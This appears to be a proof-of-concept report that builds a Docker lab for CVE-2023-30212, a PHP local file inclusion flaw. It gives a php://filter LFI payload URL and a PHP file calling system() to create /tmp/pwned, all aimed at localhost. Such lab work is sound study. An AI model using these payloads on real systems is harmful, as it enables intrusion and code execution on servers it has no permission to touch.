cve-2023-30212

PoC for CVE-2023-30212 using Docker

CVE-2023-30212 Environment Setup and PoC Report

📌 Overview

This report details the direct construction of a Docker-based vulnerable web environment for CVE-2023-30212, a vulnerability not present in Vulhub, and demonstrates the vulnerability through a PoC.

• CVE ID: CVE-2023-30212
• Vulnerability Description: Remote Code Execution via PHP LFI (Local File Inclusion)
• Difficulty: Advanced (Configuring an environment not present in Vulhub)

🔧 Environment Setup

1. Dockerfile and docker-compose Configuration

• Base image: php:8.1-apache
• Copy vulnerable.php and malicious.php to the /var/www/html directory
• External access available on port 8088

2. Key Files Description

🚀 Vulnerability Execution Flow (PoC)

1. Run Container

docker-compose up -d

Container name: cve-2023-30212-cve-lfi-1

Apache server is running and accessible at http://localhost:8088

2. Check Malicious File Source via LFI Call the following URL to view the contents of malicious.php encoded in base64:

http://localhost:8088/vulnerable.php?file=php://filter/convert.base64-encode/resource=malicious.php

Decoding the output reveals the following PHP code:

<?php system("touch /tmp/pwned"); ?>

3. Execute Command and Verify Results Call the following URL to actually execute the command:

http://localhost:8088/malicious.php

After execution, the file /tmp/pwned should be created.

docker exec -it cve-2023-30212-cve-lfi-1 ls /tmp

If the pwned file exists in the output, the test is successful.

Summary of Results

Successfully viewed and decoded malicious file contents via php://filter-based LFI vulnerability

Successfully executed arbitrary commands by calling malicious PHP containing the system() function

PoC verification completed by creation of /tmp/pwned file